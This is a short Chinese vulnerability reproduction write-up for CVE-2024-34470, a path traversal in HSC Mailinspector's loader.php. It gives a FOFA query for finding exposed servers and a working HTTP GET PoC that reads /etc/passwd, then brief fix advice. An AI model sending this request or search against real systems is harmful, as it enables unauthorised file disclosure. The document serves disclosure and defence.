HSC Mailinspector loader.php 任意文件读取漏洞复现(CVE-2024-34470)

0x01 产品简介

HSC Mailinspector是一款远程电子邮件检查工具，支持POP3/IMAP4协议。它允许用户远程扫描最新邮件，并进行浏览、垃圾邮件排除、编辑、删除等操作，无需实际登录邮箱。

0x02 漏洞概述

由于HSC Mailinspector /public/loader.php文件中存在的路径遍历漏洞，path参数无法正确筛选传递的文件和目录是否为webroot的一部分，从而使未经身份验证的攻击者能够读取服务器上的任意文件，造成信息泄露，使系统处于极不安全的状态。

0x03 影响范围

HSC Mailinspector 5.2.17-3 through 5.2.18

0x04 复现环境

FOFA：body="mailinspector/public"

0x05 漏洞复现

PoC

GET /mailinspector/public/loader.php?path=../../../../../../../etc/passwd HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

0x06 修复建议

关闭互联网暴露面或接口设置访问权限

升级至安全版本